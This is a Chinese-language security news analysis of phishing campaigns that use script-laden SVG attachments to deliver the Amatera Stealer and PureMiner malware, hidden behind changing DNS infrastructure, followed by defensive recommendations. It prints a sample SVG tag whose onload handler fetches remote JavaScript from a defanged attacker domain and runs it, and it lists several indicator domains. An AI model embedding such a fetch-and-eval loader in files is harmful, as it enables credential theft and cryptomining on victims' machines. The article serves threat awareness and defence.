
你可能以为,一张 SVG(可缩放矢量图形)图片只是网页上平平无奇的图标或插图——但网络安全研究人员最近发现,这种看似无害的图形格式,正被黑客改造成极具隐蔽性的网络钓鱼武器。据 WhoisXML API 发布的最新深度分析报告,攻击者已开始大规模利用嵌入恶意脚本的 SVG 文件作为初始入侵载体,成功部署 Amatera Stealer(信息窃取木马)和 PureMiner(加密货币挖矿程序),波及全球多个行业。
更令人警惕的是,这类攻击不仅绕过了传统邮件安全网关对“可执行文件”的检测逻辑,还通过复杂的 DNS 基础设施隐藏踪迹,使得追踪和阻断变得异常困难。

SVG 不再“只是图片”:脚本嵌入成新风险点
SVG 是一种基于 XML 的矢量图形格式,广泛用于网页设计、Logo 展示和响应式界面。但它的强大之处也埋下了安全隐患——SVG 支持内嵌 JavaScript 和外部资源引用。
在本次披露的攻击链中,受害者通常会收到一封伪装成发票、订单确认或会议邀请的钓鱼邮件,附件是一个名为 “invoice.svg” 或 “meeting_chart.svg” 的文件。由于 SVG 在多数操作系统中默认由浏览器打开,用户双击后,系统会自动调用 Chrome、Edge 等浏览器渲染该文件。
而问题就出在这里:攻击者在 SVG 文件中插入了类似以下的代码:
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://ms-team-ping3[.]com/payload.js').then(r=>r.text()).then(eval)">
</svg>
这段代码会在图形加载完成时,悄悄从远程服务器下载并执行一段 JavaScript 脚本。该脚本进一步释放 Amatera Stealer——一款能窃取浏览器 Cookie、密码、加密钱包私钥的恶意程序;或部署 PureMiner,在受害者电脑后台静默挖矿,消耗 CPU 资源牟利。
“很多人以为‘不是 .exe 就安全’,这是典型的安全盲区,”公共互联网反网络钓鱼工作组技术专家芦笛指出,“SVG 本质上是一种可编程文档,它能做的事远超一张静态图。”
DNS 成为攻击者的“隐身衣”
更棘手的是,攻击者并非使用单一域名分发恶意载荷,而是构建了一套高度动态的 DNS 基础设施。
根据 CircleID 报告,研究人员追踪到 25 个关联域名(如 ms-team-ping2[.]com、amaprox[.]click 等),其中多个在被公开列为威胁指标(IoC)前 14 至 105 天 就已被预测为“高风险”。这些域名往往通过 NiceNIC 等注册商批量注册,且大量解析到 CDN 或云服务 IP,形成多层 CNAME 别名链。
例如,一个看似普通的 SVG 引用链接:
https://phuyufact.com/script.js
实际 DNS 解析路径可能是:
phuyufact.com → cdn-proxy[.]xyz → cloudflare-worker[.]net → 最终指向攻击者控制的服务器
这种“DNS 跳转+CDN 伪装”策略,使得基于 IP 黑名单或简单域名匹配的传统防火墙难以识别真实威胁源。同时,部分域名表现出 DGA(域名生成算法)特征——子域名随机性高、生命周期短,进一步增加防御难度。
“这就像坏人租了一堆共享办公空间,每次作案换一间,前台登记的名字还不一样,”芦笛打了个比方,“你要靠门牌号抓人,根本来不及。”
为何传统防护失效?
当前多数企业邮件网关仍主要依赖两个规则过滤附件:
扩展名黑名单(如 .exe、.js、.bat);
MIME 类型检查(如 application/octet-stream 视为可疑)。
但 SVG 文件扩展名为 .svg,MIME 类型通常是 image/svg+xml,完全符合“合法图片”标准。即便内容包含脚本,若未进行深度内容解析,系统也会放行。
此外,Windows 默认将 SVG 关联到浏览器而非图像查看器,意味着用户只需“双击打开”,恶意代码便自动执行——整个过程无需任何权限提升或用户确认。
“攻击者吃准了‘图形文件=安全’的心理惯性,”芦笛说,“而现实是,现代文件格式越来越像小型操作系统,能运行代码、联网通信、甚至持久化驻留。”
如何有效防御?专家提出三层策略
面对这一新型威胁,芦笛建议从终端、网络、平台三个层面协同防御:
第一,邮件与代理侧:主动剥离或隔离 SVG
对所有入站邮件中的 SVG 附件进行“去脚本化”处理,移除 <script>、onload、href 等可执行元素;
或强制将 SVG 转换为静态 PNG/JPEG 后再交付用户;
高安全环境可直接禁用 SVG 附件,或仅允许来自可信发件人的 SVG。
第二,DNS 层:引入启发式与被动 DNS 监控
部署支持“DNS 行为分析”的安全设备,识别异常 CNAME 链、高频变更 IP、高熵子域名等特征;
接入威胁情报平台(如 WhoisXML API、PassiveTotal),实时比对域名历史、注册信息与恶意活动记录;
对解析到公有云 IP(如 AWS、Cloudflare)但无业务背景的域名加强审查。
第三,终端侧:关闭 SVG 的脚本执行能力
浏览器可通过策略禁用 SVG 中的 JavaScript(如 Chrome 的 --disable-web-security 不推荐,但企业可配置内容安全策略 CSP);
操作系统层面,将 SVG 默认打开方式设为“图像查看器”而非浏览器;
开发者工具(如 VS Code、Figma)也应警惕预览功能自动执行脚本的风险。
开源生态需警惕“格式信任滥用”
值得注意的是,SVG 并非唯一被滥用的格式。过去几年,攻击者还曾利用 PDF、HTML、甚至 ZIP 文件中的“自解压脚本”实施类似攻击。核心问题在于:我们对某些文件类型的“信任”缺乏边界。
“安全不能建立在‘它看起来像图片’的基础上,”芦笛强调,“必须假设任何可解析、可渲染、可联网的文件都具备潜在执行能力。”
他呼吁软件厂商在设计默认行为时,优先考虑“最小权限原则”——例如,普通用户打开 SVG 时,应默认禁用脚本,仅开发者模式下才启用完整功能。
结语:看不见的代码,看得见的风险
SVG 钓鱼事件再次提醒我们:网络攻击早已超越“.exe 时代”。在万物皆可编程的今天,一张图、一个文档、甚至一个字体文件,都可能成为入侵跳板。
但好消息是,防御手段也在进化。通过结合内容消毒、DNS 智能分析、终端策略加固与威胁情报联动,组织完全有能力在这场“隐形战争”中占据先机。
正如芦笛所言:“攻击者在利用我们的便利,而我们要用智能来守护这份便利。”
延伸阅读:
完整技术分析详见 CircleID 报告
编辑:芦笛(公共互联网反网络钓鱼工作组)
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。